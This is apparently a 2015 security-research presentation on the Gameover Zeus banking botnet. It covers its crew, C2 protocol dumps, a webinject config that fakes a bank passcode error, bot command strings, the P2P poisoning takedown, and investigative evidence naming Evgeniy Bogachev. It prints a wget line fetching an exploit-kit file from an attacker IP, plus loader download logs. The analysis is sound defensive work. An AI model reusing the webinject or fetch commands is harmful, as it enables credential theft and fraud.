

Gameover Zeus – Bad Guys and Backends

Elliott Peterson, Michael Sandee, Tillmann Werner

August 5, 2015

Dr. Brett Stone-Gross, Dell SecureWorks
Frank Ruiz, Fox-IT
Dr. Christian Rossow, Saarland University
Dennis Andriesse, VU University Amsterdam
Dr. Christian Dietrich, CrowdStrike
@kafeine
UK NCA
US DOJ CCIPS
The ShadowServer Foundation
And many others. . .

The Gameover Zeus Operation

Brief History of Zeus

Evolution of the Zeus Family

Version	Date	Description
Zeus 1	Emerged in 2005	Sold as crimeware kit
Zeus 2	Emerged in 2009	Sold as crimeware kit, code for 2.0.8.9 leaked in 2011
Murofet, Licat	September 2010 – September 2011	Private builds
Gameover Zeus	September 2011 – June 2014	Private builds, introduced P2P protocol

```
POST /gameover2.php HTTP/1.1
Accept: */*
X-ID: 5555
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: pinkmite.com
Content-Length: 3091
Connection: Keep-Alive
```

The Operation

Technology

- *JabberZeus* crew / Zeus 2.1.0.x
 - Domain generation algorithm (DGA)
 - Regexp targets
 - file infector
- September 11, 2011: Upgrade 2.1.0.x to *Mapp 13*
- Initially peer-to-peer + traditional comms via `gameover2.php`
- Five years of existence

Monetization

- Focus on corporate banking, additionally affiliate-specific attacks
- Individual operators often dropped other malware
 - CryptoLocker – first in-house development, destructive
 - Not everybody used it: After locking the system, no fraud. . .

The Organization

Group Composition

- Experienced criminal organization
- A mix of mainly Russian and Ukrainian actors
- Dual leadership
- Support staff
- More than 20 groups

3rd Party Services

- 3rd party techs to set up and secure systems
- Preferred suppliers like loaders, exploit kits and spammers

Bulletproof Hosting

- Exclusive servers together
- Virtual IP addresses
- New address in 2 business days
- Exclusive and also very expensive

Proxies, Proxies Everywhere!

- Proxies towards peer-to-peer network
- Proxies towards customers
- Multiple physical servers
- Zeus backend instances

Gameover Zeus (*Mapp*) Builder

- Internal name *Mapp* – command line application (still called `zsb.exe`)
- Builder gets *kbucket* peer list from a bot
 - *kbucket*: distributed hash table (DHT) terminology
 - Gameover Zeus uses *hashes*, but no *table*
- Used to control the peer-to-peer network using a private RSA key
- Can also enumerate peer-to-peer nodes

Peer-to-Peer Network Monitoring

- Debug builds of bots to spot and fix issues with the peer-to-peer layer
- Backend had `kbucket.php` to extract reachable nodes
- Backup DGA system to retrieve signed seed peerlists
- Webinjects were able to use peer-to-peer functionality, too

C2 Protocol

```
000000 c7 d0 e2 7f e6 75 bd 0f 02 b1 f6 e2 90 ec 9b 72 |.....u.....r|
000010 a7 5b b8 e8 11 24 35 bf 30 82 cc 1a 03 78 a1 70 |.[...$5.0....x.p|
000020 d3 96 ee 80 e4 40 1e 7f 9d 80 ab 35 fb 0f fe 57 |.....@.....5...W|
000030 7c 27 6a b2 a2 e0 42 8e aa 7c df 17 3c 3e 98 13 ||'j...B..|..<>..|
000040 bd 4e 33 f7 5c da e8 80 92 58 69 ee 5b e8 d4 ce |.N3.\....Xi.[...|
000050 ca ed e8 20 5a b8 42 a0 66 b8 c0 99 25 4e f2 ee |... Z.B.f...%N..|
000060 08 f0 47 07 ce fb 7d 6e 0d 03 ca 25 27 2a fc 71 |..G....n...%'*..q|
000070 5a 43 41 41 ee 10 d7 7b 03 98 1b 5d f6 40 cb 95 |ZCAA.....].@..|
000080 92 32 d1 86 76 46 68 0a 61 a7 17 de 55 e8 2f 89 |.2..vFh.a...U./..|
000090 46 0e 3d 1b 3c ca 4d cf 58 14 6e 77 97 2d 04 3a |F.=.<.M.X.nw.-.:|
0000a0 9d 58 77 d9 5c be c0 99 1c a6 78 99 6c 7a 75 a6 |.Xw.\....x.lzu..|
0000b0 36 8d 78 0b bf 53 a9 df fe cf e9 79 58 be e1 7b |6.x..S.....yX...|
0000c0 44 d6 42 0a 00 48 e8 96 97 49 6c 71 52 5a 4d 40 |D.B..H...IlqRZM@|
0000d0 bb c2 43 0a 47 0c 8c 68 3f 5b 97 61 8d a2 4e af |..C.G..h?[.a..N..|
0000e0 dd 6a b5 c7 d4 46 53 4f 0c 4d a0 0b 02 e9 51 9b |.j...FS0.M....Q..|
0000f0 28 21 78 e8 37 37 95 cf c3 0a 26 bb 42 aa c1 95 |(!x.77....&.B...|
000100 4c 75 21 42 60 68 e8 a6 b1 b6 76 fb 23 db 5d 0d |Lu!B'h....v.#.].|
000110 d0 6f 0f 87 4a 86 c7 5a b4 c0 86 1f ba 32 ba 89 |.o..J..Z.....2..|
000120 d7 06 d8 e7 d0 f5 9b 0d c1 ff fa b4 54 80 7e c1 |.....T.~..|
000130 02 cc 94 e6 c6 58 ab f2 54 b9 6c ac 28 1f 5a 75 |.....X..T.l.(.Zu|
000140 5e 4b 5e b2 1d 35 3c 81 03 64 39 fc 8b db 7b 15 |^K^..5<..d9.....|
```

...

C2 Protocol

```
000000 50 4f 53 54 20 2f 77 72 69 74 65 20 48 54 54 50 |POST /write HTTP|
000010 2f 31 2e 31 0d 0a 48 6f 73 74 3a 20 64 65 66 61 |/1.1..Host: defa|
000020 75 6c 74 0d 0a 41 63 63 65 70 74 2d 45 6e 63 6f |ult..Accept-Enco|
000030 64 69 6e 67 3a 0d 0a 43 6f 6e 6e 65 63 74 69 6f |ding:..Connectio|
000040 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e |n: close..Conten|
000050 74 2d 4c 65 6e 67 74 68 3a 20 32 33 38 0d 0a 58 |t-Length: 238..X|
000060 2d 49 44 3a 20 37 37 37 37 0d 0a 0d 0a 14 19 f4 |-ID: 7777.....|
000070 55 13 e7 98 b8 f0 35 01 e3 9a 94 96 2a 11 5c be |U.....5.....*.\.|
000080 aa ee 00 00 00 00 00 00 00 07 3c d6 3f 15 81 00 |.....<.?...|
000090 8a b7 2f 62 c4 1a 5e d4 3f 9b 5e 88 8e 65 00 00 |../b..^.?.^..e..|
0000a0 00 00 00 00 00 17 00 00 00 17 00 00 00 36 42 7c |.....6B||
0000b0 9a 24 45 60 94 51 43 79 e1 53 36 0e 95 23 35 7d |.$E'.QCy.S6..#5.|
0000c0 95 52 42 7c 66 00 00 00 00 00 00 00 14 00 00 00 |.RB|f.....|
0000d0 14 00 00 00 81 4c f2 55 b1 13 1d b1 4f ad f8 61 |....L.U....0..a|
0000e0 d4 3f cd 9b ef c8 69 3d 67 00 00 00 00 00 00 00 |.?....i=g.....|
0000f0 08 00 00 00 08 00 00 00 04 6f 5d a5 02 74 0e e2 |.....o]..t..|
000100 c9 00 00 00 00 00 00 00 04 00 00 00 04 00 00 00 |.....|
000110 ee 07 3c d6 c8 00 00 00 00 00 00 00 10 00 00 00 |..<.....|
000120 10 00 00 00 15 36 0e a8 f1 06 82 54 f3 9f 6e 0f |....6.....T..n.|
000130 9a df 4a 5e ca 00 00 00 00 00 00 00 04 00 00 00 |..J^.....|
000140 04 00 00 00 ca 07 3c d6 cb 00 00 00 00 00 00 00 |.....<.....|
```

...

Configuration

```
Target Pattern(s):
(?:^https??:/\S+?\.\macys\.com/.+?\.\ognc(?:|\\))
X-ID: 7777
pcre_pattern
(?:bgcolor="#ffffff">(?P<inject>))
data_end
data_inject
<div id="namefr" style="display:none;"><iframe width="50" height="50" id="myfx" name="myfx"></iframe></div>
<link href="http://ajax.googleapis.com/ajax/libs/jqueryui/1.8/themes/base/jquery-ui.css" rel="stylesheet" type="text/css"/>
<style type="text/css">
.ui-dialog-titlebar{ background: white }
.text1a{font-family: Arial; font-size: 8px;}
.subm{font-family:Arial;font-size:12px;font-weight:bold;font-style
:normal;color:#666666;text-transform:uppercase;text-decoration:none;letter-spacing:normal;word-spacing:0;line-height:14px;text-align:
left;vertical-align:baseline;direction:ltr;cursor:pointer;}
.sunclass{font-family:Arial;font-size:12px;font-weight:bold;font-style:normal;color:#666666;text-transform:uppercase;text-decoration:
none;letter-spacing:normal;word-spacing:0;line-height:14px;background-color:
#f5f6f1;vertical-align:baseline;direction:ltr;border-bottom-color:#cccccc;border-bottom-style:solid;border-bottom-width:1px;border-co
llapse:collapse;margin-right:10px;margin-left:10px;padding:2px}
</style>
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.4/jquery.min.js"></script>
<script src="http://ajax.googleapis.com/ajax/libs/jqueryui/1.8/jquery-ui.min.js"></script>
<div id="msg" style=" display:none; height:60px;">
<div id="box" class=sunclass style="border-top-style: solid; border-top-color: #cccccc;border-top-width:
1px;padding-top:20px;padding-bottom:20px;">
<font style="font-weight:700;font-family: Arial;font-size: 12px;">The <span id="ername" style="color:#666666;">Passcode</span> you
entered does not match our records. Please verify and make sure you re-enter your <span id="ername1" style="color:#666666;" >
passcode </span> &nbsp; correctly.</font>
</div>
</div>
```

```
EncryptedString <003h, 9, offset aDdos_type> ; "ddos_type"
EncryptedString <11h, 0Ch, offset aDdos_address> ; "ddos_address"
EncryptedString <97h, 8, offset aDdos_url> ; "ddos_url"
EncryptedString <7Fh, 0Ch, offset aDdos_execute> ; "ddos_execute"
EncryptedString <93h, 0Bh, offset aOs_shutdown> ; "os_shutdown"
EncryptedString <31h, 9, offset aOs_reboot> ; "os_reboot"
EncryptedString <87h, 0Dh, offset aBot_uninstall> ; "bot_uninstall"
EncryptedString <0FEh, 0Ah, offset aBot_bc_add> ; "bot_bc_add"
EncryptedString <0ABh, 0Dh, offset aBot_bc_remove> ; "bot_bc_remove"
EncryptedString <9Ch, 16h, offset aBot_httpinject_di> ; "bot_httpinject_disable"
EncryptedString <99h, 15h, offset aBot_httpinject_en> ; "bot_httpinject_enable"
EncryptedString <32h, 14h, offset aFs_find_add_keywo> ; "fs_find_add_keywords"
EncryptedString <91h, 0Fh, offset aFs_find_execute> ; "fs_find_execute"
EncryptedString <22h, 0Ch, offset aFs_pack_path> ; "fs_pack_path"
EncryptedString <99h, 0Ch, offset aUser_destroy> ; "user_destroy"
EncryptedString <0E7h, 0Bh, offset aUser_logoff> ; "user_logoff"
EncryptedString <9Ah, 0Ch, offset aUser_execute> ; "user_execute"
EncryptedString <7Fh, 10h, offset aUser_cookies_get> ; "user_cookies_get"
EncryptedString <90h, 13h, offset aUser_cookies_remo> ; "user_cookies_remove"
EncryptedString <50h, 0Eh, offset aUser_certs_get> ; "user_certs_get"
EncryptedString <0E0h, 11h, offset aUser_certs_remove> ; "user_certs_remove"
EncryptedString <0D1h, 0Eh, offset aUser_url_block> ; "user_url_block"
EncryptedString <1, 10h, offset aUser_url_unblock> ; "user_url_unblock"
EncryptedString <80h, 11h, offset aUser_homepage_set> ; "user_homepage_set"
EncryptedString <32h, 15h, offset aUser_emailclients> ; "user_emailclients_get"
EncryptedString <42h, 14h, offset aUser_flashplayer_> ; "user_flashplayer_get"
EncryptedString <9Fh, 17h, offset aUser_flashplaye_0> ; "user_flashplayer_remove"
```

Things you do not expect to see in financial malware: Additional malware dropped to spy on systems.

Georgia

Targeting intelligence agencies and other government information

Turkey

Targeting government information but also information pertaining to conflict in Syria

Ukraine

Started with recent conflict in Eastern Ukraine and Crimea, specifically looking for information from intelligence agencies

OPEC


Older campaigns seemingly related to all countries involved with OPEC

P2P Poisoning Attack

Botnet Topology

P2P Layer

- Daily configuration updates
- Weekly binary updates




Botnet Topology

P2P Layer

- Daily configuration updates
- Weekly binary updates

Proxy Nodes

- Announced by special messages
- Route C2 communication
 - Stolen data
 - Commands



Botnet Topology

P2P Layer


- Daily configuration updates
- Weekly binary updates

Proxy Nodes

- Announced by special messages
- Route C2 communication
 - Stolen data
 - Commands

C2 Proxies

- Plain HTTP proxies
- Additional layer between botnet and backend



Message Types

No.	Meaning	Comment
00	Version Request	Ask for binary/config version
01	Version	Report version information
02	Peerlist Request	Ask peer for some neighbors
03	Peerlist	Report up to 10 neighbor peers
04	Data Request	Ask for binary or config
05	Data	Current binary or config
06	Proxy List	Contains list of proxy nodes
50	Proxy Announcement	Used to propagate a proxy node
204	C2 Message	Sent to proxy nodes, wraps C2 data

Peerlist Request

Type	02
Padding Length	50
Session ID	c577aabe9d03a499601d2df4139e9c816bef8ce7
Bot ID	e74bce83d714216729aac4b7b238f14d89cf55eb


```
00000000 6f 94 02 50 c5 77 aa be 9d 03 a4 99 60 1d 2d f4
00000010 13 9e 9c 81 6b ef 8c e7 4b ce 83 d7 14 21 67 29
00000020 aa c4 b7 b2 38 f1 4d 89 cf 55 eb 53 4d 31 9b 94
00000030 5c f5 53 57 24 87 7a 6b bd 3a 24 0a 3b d2 f6 9a
00000040 01 a6 b5 e0 ab 4e a6 35 86 ca 4c 9e b3 d8 a1 4a
00000050 f0 ee c9 b6 72 c2 4b 9a c6 52 e4 12 58 ed fd 45
00000060 12 da 17 dc 98 b8 17 59 ab 1e 0a 4f 6c 7d 8e f7
00000070 b3 a2 a9 37 86 36 3a f7 2e 26 25 64 b1 44 cf fe
00000080 2e d7 46 97 3c 35 de ff e2 b4 8d 14 53 3b 35 8a
00000090 ca 88 38 f7 4a 14 74 cb 29 af 99 a7 ba 10 e6 73
000000a0 8d 9f 29 24 72 7b 65 ad 1b ef ef b7 a2 ae 2b 97
000000b0 df ea 28 8a 2f 4a 06 2a ed 5b aa da 51 a7 a5 06
000000c0 76 be 4a 07 35 3a 56 25 bf 09 9d 67 b3 c6 01 5f
000000d0 d6 48 7e b8 65 d1 58 41 65 4f 01
```

Peerlist Response

Type	03	
Padding Length	02	
Session ID	c577aabe9d03a499601d2df4139e9c816bef8ce7	
Bot ID	517262b78f557456f15c7a65f370b8150d261b5f	
Peerlist	517262b78f557456f15c7a65f370b8150d261b5f	59.90.10.180:1026
	51f1dab7004aaad6381c703a639dc758146cbd4f	125.23.117.36:7875
	5025d1bf2fb998c4b2256596587d7eb603efd7a2	108.76.33.46:1732
	50bc0620feef71b6a5d087d6f48637e95af1c5d5	81.90.26.57:7221
	522b0c1d8b7fb6cda19ea4407dc82f24a67008f0	66.189.57.144:5807
	52338ca13970ab8878908b9bafc70537fed2a85c	86.57.196.12:9607
	55c363c17e8b3528f2e20080e5fbc32eef6fcb28	62.7.187.92:6200
	53ce43f39cc89e3335ef2e36bf4ec5a9166f7c1b	59.92.54.113:9033
	53df3e87386c6c9d862126d00cabafb2344e82a6	78.47.101.178:2514
	56d9de127d908485aede02865d5725db684290b9	219.76.74.28:1048

Sinkholing through Peer-to-Peer Poisoning

- Goal: Isolate bots, prevent normal operation
- Method: Replace peerlist entries with sinkholes



Poisoning Example

- Bot peerlist before the attack:

Bot ID	IP address	Port
c2ad2c7621e8cc9057e8ee0fe678acdf216f8d0f	186.88.196.115	10355
c28df459e506e3fbaf0fe4e09c3e8a1fcc697f39	142.163.184.154	12631
3e6684b8016ad93410bc94803d1da9502239f582	208.41.173.138	13850
c19aff3ecf6a2e0443640baad118ee528ccd43ce	95.104.110.191	15550
3d0445ac21017cf284191485fc045e23a4d65dba	75.38.136.56	10169
5b68273785dc1a0e19d1461ccb5688e150528697	98.203.40.174	21918
e10fa5a555f3653837ceef2380da034dc7190261	174.134.88.28	19433
c1ff72dda4362153a43079ed35301537aaf56634	74.234.107.231	25975
93b2028482d876a9dd4a3b01b2265956f189aed4	190.206.20.161	29346
c3575bcd52b97c1484bee81dfa1bfcf5d3fd1343	79.113.161.10	16824

Poisoning Example


- Bot peerlist after the attack:

Bot ID	IP address	Port
f1d2d2f924e986ac86fdf7b36c94bcdf32beec15	192.168.0.1	14521
e242ed3bffccdf271b7fbaf34ed72d089537b42f	10.0.0.1	25486

Sinkholing Attack

Things to Consider


- Peer-to-peer poisoning prevents propagation of information between peers
- But C2 communication still possible



Controlling the Proxy Layer

Proxy Layer Poisoning Attack


- Peers maintain sorted lists of up to 20 proxies, regular checks if still active
- Proxy list poisoning similar to peer list poisoning
- Must force a switch to a new proxy
- Happens only if current proxy (or backend) becomes unreachable
- Requires collaboration with Internet Service Providers



Controlling the Proxy Layer

Proxy Layer Poisoning Attack

- Peers maintain sorted lists of up to 20 proxies, regular checks if still active
- Proxy list poisoning similar to peer list poisoning
- Must force a switch to a new proxy
- Happens only if current proxy (or backend) becomes unreachable
- Requires collaboration with Internet Service Providers




Backup Channel Takeover

- Reverse-engineered and reimplemented Domain Generation Algorithm
- Pointed pre-computed DGA domains to a web server
- Served a special seed peerlist from there


Top-Level Domains

- 5 US-based (.com, .org, .net, .biz, .info)
- ...and .ru
- Required collaboration with domain registries
 - Some volunteered
 - Others required a court order



Putting It All Together




Putting It All Together




Putting It All Together




Putting It All Together




Putting It All Together



Putting It All Together



Putting It All Together



The Criminal Investigation

Modus Operandi

- Spam, infection, account takeover, fraud, international wire, DDoS attack against FI, funds laundered
- Losses ranged from \$10,000 to \$6,900,000

Blackhole Exploit Kit

- Specific configuration for Gameover Zeus
- `cron_update.php` file
- Redirect to Google's Chrome page without proper referrer

```
wget -q0 - http://69.194.160.216/cron_update.php
```

```
./files/175dacb26 md5 is 796cddf7239eca64025cadce41d361d5 https://regatu  
written ./files/1e105e4bba md5 is 58787c143811f537b3fe529d52e755dd http:  
58787c143811f537b3fe529d52e755dd equal md5 ./files/705a0d5d31 md5 is d77  
module=EXETask&id=102&mode=getloader&name=/ldr_int2.exe md5 is d7794674b  
35e239b4a819601dc35b00f96087f26c http://91.242.217.34/iframecheck/?modul  
35e239b4a819601dc35b00f96087f26c equal md5 ./files/d2d2b83280 md5 is b29  
module=EXETask&id=53&mode=getloader&name=/ldr_ninja.exe md5 is b29ce5968  
166ea29c1d4bb0c84f129b347ca7bff9 http://91.242.217.34/iframecheck/?modul
```

Free FTPs count: 445

Logged in as: admin

Hosts
Host-groups
FTP-servers
FTP-groups
SSH-servers
SSH-groups
Tasks
EXE-tasks
EXE-task statistic
Index templates
JS templates
SOCKS
FTP-urls
EXE-files
Contacts
URL (exe/url)
EXE (exe/url)
EXE statistic (exe/url)
Config
Users list
Log out

Show filters

	Login	Is active	Is admin
<input type="checkbox"/>	admin	Yes	Yes
<input type="checkbox"/>	chngw	Yes	Yes
<input type="checkbox"/>	ded	Yes	Yes
<input type="checkbox"/>	petro	Yes	Yes
<input type="checkbox"/>	zman	Yes	Yes


Shown: 1 5/5

Add new customer

Group operations for selected customers


Superadmin Panel

"Starting on September 19, 2011, we are beginning to work through the panel where you now find yourselves. (fraudulent) Money transferors and drop (mule) managers are synchronizing their work through our panel, which enables a much greater optimization of the work process and increase in the productivity of our work. Starting from this moment, all drop (mule) managers with whom we are working, and all (fraudulent) money transferors who work with us are working through this panel. We wish you all successful and productive work."



Superadmin Panel

"Starting on September 19, 2011, we are beginning to work through the panel where you now find yourselves. (fraudulent) Money transferors and drop (mule) managers are synchronizing their work through our panel, which enables a much greater optimization of the work process and increase in the productivity of our work. Starting from this moment, all drop (mule) managers with whom we are working, and all (fraudulent) money transferors who work with us are working through this panel. We wish you all successful and productive work."



From Me <alexgarbarchuck@yahoo.com> ☆

Subject SMS

To C [REDACTED] n ☆

Date Sun, 1 Apr 2012 03:52:59 -0700 (PDT)

Message ID <1333277579.43661.YahooMailClassic@web114318.mail.gq1.yahoo.com> ▼

User agent YahooMailClassic/15.0.5 YahooMailWebService/0.8.117.340979

Delivered-To [REDACTED]

businessclub leg, nado podnyat ASAP

From Me <alexgarbarchuck@yahoo.com> ☆

Subject SMS

To C [REDACTED] n ☆

Date Sun, 1 Apr 2012 03:52:59 -0700 (PDT)

From Jennifer <special@businessclub.so> ☆

Subject Re: test

To Axel Frost [REDACTED] ☆

Cc Jennifer <special@businessclub.so> ☆

Date Wed, 16 Nov 2011 16:26:39 -0500

Message ID <E95F98F1-5D49-423A-8D69-FB4D82261A85@businessclub.so> ▼

In reply to <CAKTCcj9BkYn-BSqjBwdr8W9bbn+ELF5fK1+fSZrMX3rpoAWxHQ@mail.gmail.com> ▼

On Nov 16, 2011, at 9:47 AM, Axel Frost wrote:

| test

businessclub

From Me <alexgarbarchuck@yahoo.com> ☆

Subject SMS

To [REDACTED] ☆

Date Sun, 1 Apr 2012 03:52:59 -0700 (PDT)

From Jennifer <special@businessclub.so> ☆

Subject Re: test

To Axel Frost [REDACTED] ☆

From Jennifer <special@businessclub.so> ☆

businessclub

From qwe <ben@businessclub.so> ☆

Subject qweqwe

To [REDACTED]

Date Wed, 16 Nov 2011 22:35:36 +0200

Message ID <116242682.20111116223536@businessclub.so> ▾

Delivered-To [REDACTED]

Received by 10.227.180.207 with SMTP id bv15cs81843wbb; Wed, 16 Nov 2011 12:35:53 -0800 (PST)

On Nov 16, 2011

| test

Здравствуйте, X33400.

qweqweqwe

—

С уважением,
qwe

<mailto:ben@businessclub.so>

Ledger System

visitcoastweekend.com/sadmin.php?act=drops&his													
Status	Amount	Zalivsk	Droptov	Name	Type	Transfer type	Lead type	Bank	Telephone	Address	WIRE routing	ACH routing	Account number
2012-05-03													
David	9857	commandos	Trot	David	personal	ACHWIRE	ACH	US BANK					
David	9777	commandos	Trot	David	personal	ACHWIRE	ACH	ing Bank					
David	9689	commandos	Trot	David	personal	ACHWIRE	ACH	Wells Fargo					
	8214.55	commandos	profit	David	personal	ACH	ACH	salicampart Wayne federal credit union					
	8157.9	commandos	profit	David	personal	ACH	ACH	SunTrust Bank					
	8128.7	commandos	profit	David	personal	ACH	ACH	Woodforest Bank					
	8124.5	commandos	profit	David	personal	ACH	ACH	Wells Fargo					
David	75000	commandos	if	David	business	ACH	ACH	Huntington					
	7136.8	commandos	profit	David	personal	ACH	ACH	BANK OF AMERICA					
2012-05-02													
	8900	commandos	super-drop	David	personal	ACHWIRE	WIRE	Bank of America		1111111111, Little Rock, CA 92543			
	USD 9857	commandos	Trot	David	personal	ACHWIRE	WIRE	J. P. Morgan Chase		1111111111, League City, Texas 77573			
2012-05-01													
	22500	commandos	super-drop	David	business	ACHWIRE	WIRE	JPMorgan Chase		1111111111, Little Rock, CA 92543			
David	USD 87,000.00	commandos	if	David	business	WIRE	WIRE	Wells		1111111111, Pittsburg, CA 94365			
2012-04-26													
	8900	commandos	isnet	David	personal	ACH	ACH	Bank of America					
2012-04-25													
David	9700	lan	isnet	David	personal	ACH	ACH	Wells Fargo		1111111111, TX 77494			
2012-04-23													
	10002	commandos	isnet	David	personal	ACH	ACH	Wells Fargo		1111111111, Little Rock, CA 92543			
	8200	lan	levi	David	personal	ACHWIRE	ACH	Casile Bank		1111111111, 3 USA			
2012-04-17													
David	80000	lan	if	David	business	ACHWIRE	ACH	Huntington Bank		1111111111, Little Rock, CA 92543			
	8700	lan	masculine	David	personal	ACH	ACH	Wells Fargo		1111111111, Los Angeles, CA 90008			
2012-04-16													
	8900	lan	levi	David	personal	ACH	ACH	Chase		1111111111, Oregon, 97601-2040			
	8200	lan	levi	David	personal	ACH	ACH	Wells Fargo		1111111111, LaPorte, IN 46940-9251			
2012-04-15													
	8000	lan	profit	David	personal	ACH	ACH	Capitol One N.A.					
	7000	lan	profit	David	personal	ACH	ACH	Bank of America					
David	8000	lan	profit	David	personal	ACH	ACH	Bank of America					
	8000	lan	profit	David	personal	ACH	ACH	City Savings Bank					


Department
Specialtemp (обновление
инъектов)


Position
Дворник


Subordinates
Chingiz 911
exe atom
Admin Ded
mr. kykypyky
[hide](#)
Mr. Lapis
Tomas Tomas
[Select coordinators](#)


Status: Staffer 8


Experience: 0


 [Employees](#)


 [Remuneration](#)

 [Bonuses](#)


 [Structure](#)

 [Relations](#)

 [Vacations](#)


 [Reports](#)


Temp Special




Вредный и противный)

[← Mr. Lapis](#) [Tomas Tomas →](#)

 [Give a task](#)


 [Write](#)




Jabber: [special@businessclub.so](#)

Age: Undefined

Birthday: Undefined

Smokes 

Drinks 

Working now.

13 unread notifications.

Connecting the Dots

Personal Account

pa@rambler.ru	Evgeniy	Bogachev	Otradnaya 22	46.158.238.206
pa@rambler.ru	Evgeniy	Bogachev	Otradnaya 22	212.117.170.62
pa@rambler.ru	Evgeniy	Bogachev	Otradnaya 22	46.158.20.187
pa@rambler.ru	Evgeniy	Bogachev	Otradnaya 22	46.158.147.144

Businessclub root Login

```
31.31.119.248 - - {29/Sep/2011:
HTTP/1.1" 404 475 "-" "Mozilla/
(KHTML, like Gecko) Chrome/14.0
212.117.170.62 - - [29/Sep/2011
/sadmin.php?act=drops&wft HTTP/
Intel Mac OS X 10.7; rv:8.0a2)
212.117.170.62 - - [29/Sep/2011
200 718 "-" "Mozilla/5.0 (Macin
```

Evgeniy Bogachev




Temporary Restraining Order

- Ordered defendants (Bogachev) to cease activity
- Authorized establishment of substitute server
- Ordered Registries to redirect DGA traffic
- Ordered Registries to cease CryptoLocker DGA registration
- Ordered Internet Service Providers to block connections with DGA .ru domains

WANTED BY THE FBI

Conspiracy to Participate in Racketeering Activity; Bank Fraud; Conspiracy to Violate the Computer Fraud and Abuse Act; Conspiracy to Violate the Identity Theft and Assumption Deterrence Act; Aggravated Identity Theft; Conspiracy; Computer Fraud; Wire Fraud; Money Laundering; Conspiracy to Commit Bank Fraud

EVGENIY MIKHAILOVICH BOGACHEV



Aliases: Yevgeniy Bogachev, Evgeniy Mikhaylovich Bogachev, "lucky12345", "slavik", "Pollingsoon"

DESCRIPTION

Date(s) of Birth: October 28, 1983

Used:

Height: Approximately 5'9"

Weight: Approximately 180 pounds

NCIC: W890989955

Occupation: Bogachev works in the Information Technology field.

Hair: Brown (usually shaves his head)

Eyes: Brown

Sex: Male

Race: White

Remarks: Bogachev was last known to reside in Anapa, Russia. He is known to enjoy boating and may travel to locations along the Black Sea in his boat. He also owns property in Krasnodar, Russia.

CAUTION

Evgeniy Mikhailovich Bogachev, using the online monikers "lucky12345" and "slavik", is wanted for his alleged involvement in a wide-ranging racketeering enterprise and scheme that installed, without authorization, malicious software known as "Zeus" on victims' computers. The software was used to capture bank account numbers, passwords, personal identification numbers, and other information necessary to log into online banking accounts. While Bogachev knowingly acted in a role as an administrator, others involved in the scheme conspired to distribute spam and phishing emails, which contained links to compromised web sites. Victims who visited these web sites were infected with the malware, which Bogachev and others utilized to steal money from the victims' bank accounts. This online account takeover fraud has been investigated by the FBI since the summer of 2009.

Starting in September of 2011, the FBI began investigating a modified version of the Zeus Trojan, known as GameOver Zeus (GOZ). It is believed GOZ is responsible for more than one million computer infections, resulting in financial losses of more than \$100 million.

On August 23, 2012, researchers indicated that the nickname "lucky12345" has a federal Level 1 rating.

Thank You.